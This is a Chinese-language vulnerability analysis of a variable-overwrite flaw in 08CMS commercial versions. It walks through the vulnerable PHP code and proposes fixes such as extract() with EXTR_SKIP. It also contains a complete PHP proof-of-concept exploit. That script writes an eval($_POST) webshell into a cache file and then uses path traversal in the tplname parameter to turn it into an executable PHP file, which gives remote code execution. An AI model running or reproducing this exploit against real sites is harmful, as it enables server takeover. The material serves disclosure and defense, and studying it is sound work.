目录
1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考
1. 漏洞描述
简单描述这个漏洞
1. /include/general.inc.php//本地变量注册foreach(array('_POST','_GET') as $_request){ foreach($$_request as $k => $v) { $k{ 0} != '_' && $$k = maddslashes($v); }}/*这里实现了模拟GPC功能,将用户输入的GET、POST数据中的变量注册到本地代码空间中,导致攻击者理论上可以向应用程序"注入"任意的变量值*/2. 通过本地变量覆盖,黑客可以控制目标应用程序将要进行的写文件操作,向网站目录下的任意位置写入任意文件
0x1: 攻击流
1. 上传一个包含WEBSHELL的非PHP文件/*/tools/ptool.php..$cf = M_ROOT.'./dynamic/stats/aclicks.cac';$ct = M_ROOT.'./dynamic/stats/aclicks_time.cac';..if(@$fp = fopen($cf,'a')){ fwrite($fp,"$aid"); fclose($fp); ..通过注入$aid,利用程序的本地变量覆盖漏洞,向/dynamic/stats/aclicks.cac写入WEBSHELL代码$exp = /tools/ptool.php?aid= */2. 在第二个变量覆盖攻击点,传入这个文件路径(将要被打开的文件路径): $exp1 = /index.php?tplname=../../dynamic/stats/aclicks.cac3. 程序打开/dynamic/stats/aclicks.cac,并重新写入到"/dynamic/stats/aclicks.cac.php"中,完成GETSHELL
0x2: POC
$exp = '/tools/ptool.php?aid=%3C%3Fphp%20eval%28%24_POST%5Ba%5D%29%3B%3F%3E';//$exp1 = /index.php?tplname=../../dynamic/stats/aclicks.cac$exp1 = '/index.php?tplname=..%2f..%2fdynamic%2fstats%2faclicks.cac'; if ($argc < 2 ) {print_r('+---------------------------------------------------------------------------+ [+] php '.$argv[0].' [url]www.08sec.com[/url] +---------------------------------------------------------------------------+'); exit;}error_reporting(E_ERROR);set_time_limit(0); $host = $argv[1];go($host); function go ($host){ global $exp,$exp1; $re = Send ($host,$exp); stripos($re, "MySQL") > 0 ? Send ($host, $exp) : "" $re = Send ($host, $exp1) && stripos($re, "aclicks.cac") > 0 ? exit(" + Exploit Success!rn + http://$host/template/dynamic/stats/aclicks.cac.phprn") : exit(" - Exploit Failed!n");} function Send($host,$url){ $data = "GET $url HTTP/1.1rn"; $data .= "Host: $hostrn"; $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en]rn"; $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn"; $data .= "Content-Type: application/x-www-form-urlencodedrn"; $data .= "Accept-Language: en-usrn"; $data .= "Connection: Closernrn"; $fp = @fsockopen($host, 80); if (!$fp) { die("[-] Connect to host Errorrn"); } fwrite($fp, $data); $back = ''; while (!feof($fp)) { $back .= fread($fp, 1024); } fclose($fp); return $back;}?>
Relevant Link:
http://www.unhonker.com/bug/1390.html
08CMS全部商业版
4. 漏洞代码分析本地变量注册实现代码
/include/general.inc.php
/index.php
include_once dirname(__FILE__).'/include/general.inc.php';include_once M_ROOT.'./include/common.fun.php';if_siteclosed();mobile_open() || message('手机版尚未开放');/*function un_virtual($str){ ...... $str = str_replace(array('/','-'),array('&','='),$str); 把 / 和 - 替换成 & 和 = ...... return $str;}parse_str()把查询字符串解析到变量中,保存在变量$temparr中*/parse_str(un_virtual($_SERVER['QUERY_STRING']), $temparr);... $_da = array();if(!$cnstr){ //$tplname这个在这里定义的了,相当于被初始化了 $tplname = $_ismobile ? $o_index_tpl : $hometpl ; $_da['rss'] = $cms_abs.'rss.php'; $_da += $temparr; // $_da= $_da+$temparr unset($temparr);//销毁变量 //变量覆盖,这样我们可以控制了$tplname这个变量,即对它重新覆盖 extract($_da,EXTR_OVERWRITE); //这个tpl_refresh函数就是漏洞利用的关键点 tpl_refresh($tplname); ...
/include/refresh.fun.php
function tpl_refresh($tplname){ global $templatedir,$debugtag; $tdir = M_ROOT."template/$templatedir/"; //$tplname可以由攻击者控制,所以$cacf也等同于被攻击者控制 $cacf = $tdir.'pcache/'. $tplname.'.php'; if(file_exists($x = $tdir."function/utags.fun.php")) { include_once $x; } mmkdir($cacf,0,1); if($debugtag || !file_exists($cacf)) { //打开文件,返回内容 $str = load_tpl($tplname); $tpl = @file2str(M_ROOT."template/$templatedir/".$tplname); //file2str这个是打开文件的函数 $rt && $tpl = preg_replace("/{tpl\$(.+?)}/ies", "rtagval('\1','$rt')",$tpl); 过滤 $str = preg_replace("/<\?(?!php\s|=|\s)/i", ' ', $str); $str = preg_replace("/ /s", "{\1}", $str); breplace($str,''); nreplace($str); quit_refresh_var(); $str = tpl_basecode($str); /* 漏洞的关键,在这里 1. $str: 攻击者可控制,这是一个.cac文件的内容,攻击者可以通过另一个变量覆盖向服务器写入一个.cac的WEBSHELL 2. $cacf: 攻击者可控制,攻击者传入的参数是一个非PHP文件路径(.cac文件),这个文件也是真实存在的,可以通过另一个变量注入上传一个.cac文件,同时,程序在末尾拼接了".php",使其成为写一个PHP文件 从结果上来看,相当于进行了一次.cac到.php的后缀重命名处理 */ str2file($str, $cacf); } unset($str,$tdir,$cacf);}
/index.php
if(!$cnstr){ //$tplname这个在这里定义的了,相当于被初始化了 $tplname = $_ismobile ? $o_index_tpl : $hometpl ; $_da['rss'] = $cms_abs.'rss.php'; $_da += $temparr; // $_da= $_da+$temparr unset($temparr);//销毁变量 /* 如果对应变量已经存在,则不进行覆盖操作 */ extract($_da, EXTR_SKIP); tpl_refresh($tplname); ...
防御变量覆盖的防御思路
1. 重新运行一次原始的代码逻辑,将被覆盖的变量再赋值回原始的值2. 在本地变量注册的入口处对关键字进行检测
Copyright (c) 2014 LittleHann All rights reserved